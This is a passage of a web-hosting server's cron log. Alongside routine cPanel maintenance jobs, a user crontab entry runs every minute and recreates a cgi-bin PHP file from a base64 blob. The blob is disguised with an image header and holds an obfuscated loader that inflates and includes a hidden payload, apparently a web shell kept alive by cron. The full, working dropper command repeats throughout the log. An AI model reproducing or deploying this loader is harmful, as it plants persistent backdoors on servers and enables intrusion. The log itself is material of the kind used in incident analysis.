&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:35:01 server CROND[10029]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 12 10:35:01 server CROND[10032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:35:01 server CROND[10033]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 12 10:35:01 server CROND[10034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:35:01 server CROND[10035]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:36:01 server CROND[10761]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:37:01 server CROND[11641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:38:01 server CROND[12548]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:39:01 server CROND[13356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:39:01 server CROND[13357]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 10:40:01 server CROND[14175]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:40:01 server CROND[14173]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:40:01 server CROND[14174]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:40:01 server CROND[14176]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 10:41:01 server CROND[15039]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:42:01 server CROND[15851]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:42:01 server CROND[15852]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 10:43:01 server CROND[16600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:44:01 server CROND[17528]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:45:01 server CROND[18358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 10:45:01 server CROND[18359]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 10:45:01 server CROND[18357]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 10:46:01 server CROND[19216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
